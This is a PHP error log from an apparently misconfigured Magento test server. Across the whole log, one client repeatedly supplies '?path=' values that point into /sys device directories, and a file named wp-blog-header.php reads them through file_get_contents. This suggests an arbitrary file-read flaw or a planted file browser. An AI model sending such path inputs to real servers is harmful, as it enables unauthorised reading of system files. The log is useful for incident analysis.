[Thu Mar 26 09:38:34.916529 2026] [php:warn] [pid 3107073] [client 74.7.241.26:46324] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/tpm_crb
[Thu Mar 26 09:44:57.227922 2026] [php:warn] [pid 3107099] [client 74.7.241.26:48528] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/physical_node/driver/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/physical_node/driver
[Thu Mar 26 09:45:21.800159 2026] [php:warn] [pid 3107099] [client 74.7.241.26:48528] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/nfit/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/nfit
[Thu Mar 26 09:48:57.960129 2026] [php:warn] [pid 3107073] [client 74.7.241.26:33500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:a9/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:a9/device:aa
[Thu Mar 26 09:49:07.158106 2026] [php:notice] [pid 3107099] [client 74.7.241.26:52566] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c0/power
[Thu Mar 26 09:50:52.551385 2026] [php:warn] [pid 3107073] [client 74.7.241.26:57432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/button/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/button
[Thu Mar 26 09:51:17.249196 2026] [php:warn] [pid 3107099] [client 74.7.241.26:37672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 09:51:47.980112 2026] [php:warn] [pid 3107099] [client 74.7.241.26:37672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:3a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:3a
[Thu Mar 26 09:52:08.874831 2026] [php:warn] [pid 3117489] [client 74.7.241.26:55300] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:3d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:3d
[Thu Mar 26 09:53:38.217643 2026] [php:warn] [pid 3106758] [client 74.7.241.26:42342] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:4b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:4b
[Thu Mar 26 09:58:04.620911 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41420] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:b4/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:b4
[Thu Mar 26 09:58:17.349278 2026] [php:warn] [pid 3107099] [client 74.7.241.26:46010] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:3b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:3b
[Thu Mar 26 09:59:07.936539 2026] [php:warn] [pid 3117489] [client 74.7.241.26:42488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:1d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:1d
[Thu Mar 26 10:00:26.482935 2026] [php:warn] [pid 3107073] [client 74.7.241.26:33220] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:6b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:6b
[Thu Mar 26 10:05:20.335781 2026] [php:warn] [pid 3107086] [client 74.7.241.26:51788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f6
[Thu Mar 26 10:05:47.125074 2026] [php:warn] [pid 3107086] [client 74.7.241.26:51788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:6d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:6d
[Thu Mar 26 10:06:14.026695 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57084] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:2e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:2e
[Thu Mar 26 10:10:10.398253 2026] [php:warn] [pid 3106409] [client 74.7.241.26:43338] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:a4/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:a4
[Thu Mar 26 10:13:47.453916 2026] [php:warn] [pid 3106381] [client 74.7.241.26:33914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:a2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:a2
[Thu Mar 26 10:13:56.374954 2026] [php:warn] [pid 3106381] [client 74.7.241.26:33914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:d0/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:d0
[Thu Mar 26 10:14:23.117228 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:e6/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:e6
[Thu Mar 26 10:14:35.941300 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:1e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:1e
[Thu Mar 26 10:14:47.692261 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:8a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:8a
[Thu Mar 26 10:17:09.867862 2026] [php:warn] [pid 3107074] [client 74.7.241.26:34958] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:5b/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:5b
[Thu Mar 26 10:17:14.561000 2026] [php:warn] [pid 3107074] [client 74.7.241.26:34958] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:0f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:0f
[Thu Mar 26 10:19:37.232755 2026] [php:warn] [pid 3106757] [client 74.7.241.26:42152] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:5d/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:5d
[Thu Mar 26 10:20:54.977858 2026] [php:warn] [pid 3106744] [client 74.7.241.26:47026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b1/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:b1/subsystem
[Thu Mar 26 10:23:51.651220 2026] [php:warn] [pid 3107099] [client 74.7.241.26:41206] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:9a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:9a
[Thu Mar 26 10:24:00.416450 2026] [php:warn] [pid 3107099] [client 74.7.241.26:41206] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1c/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:1c/subsystem
[Thu Mar 26 10:24:04.148126 2026] [php:warn] [pid 3107099] [client 74.7.241.26:41206] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:7c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:7c
[Thu Mar 26 10:26:04.507564 2026] [php:warn] [pid 3106744] [client 74.7.241.26:43648] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e3/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e3/subsystem
[Thu Mar 26 10:26:28.642872 2026] [php:warn] [pid 3106744] [client 74.7.241.26:43648] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:4a/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:4a
[Thu Mar 26 10:26:30.696645 2026] [php:warn] [pid 3106744] [client 74.7.241.26:43648] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:e8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:e8
[Thu Mar 26 10:26:56.136519 2026] [php:warn] [pid 3117489] [client 74.7.241.26:38672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2c/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2c/subsystem
[Thu Mar 26 10:27:20.047768 2026] [php:warn] [pid 3117489] [client 74.7.241.26:38672] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:d8/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:d8
[Thu Mar 26 10:34:16.483370 2026] [php:warn] [pid 3117489] [client 74.7.241.26:48930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:a2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:a2
[Thu Mar 26 10:34:20.136456 2026] [php:warn] [pid 3117489] [client 74.7.241.26:48930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:0e/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:0e
[Thu Mar 26 10:35:31.452623 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45554] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:f0/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:f0
[Thu Mar 26 10:37:18.476026 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45362] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/subsystem
[Thu Mar 26 10:38:30.386219 2026] [php:warn] [pid 3106409] [client 74.7.241.26:37808] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/physical_node/driver
[Thu Mar 26 10:39:02.714547 2026] [php:warn] [pid 3107062] [client 74.7.241.26:40074] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/physical_node/driver/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/physical_node/driver
[Thu Mar 26 10:40:04.931887 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57220] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/physical_node/firmware_node/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/physical_node/firmware_node/device:ae
[Thu Mar 26 10:40:12.208409 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57220] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/physical_node/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/physical_node
[Thu Mar 26 10:40:26.137646 2026] [php:notice] [pid 3106758] [client 74.7.241.26:57220] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/physical_node/power
[Thu Mar 26 10:40:48.555590 2026] [php:warn] [pid 3106405] [client 74.7.241.26:44856] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/physical_node/driver/remove_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/physical_node/driver
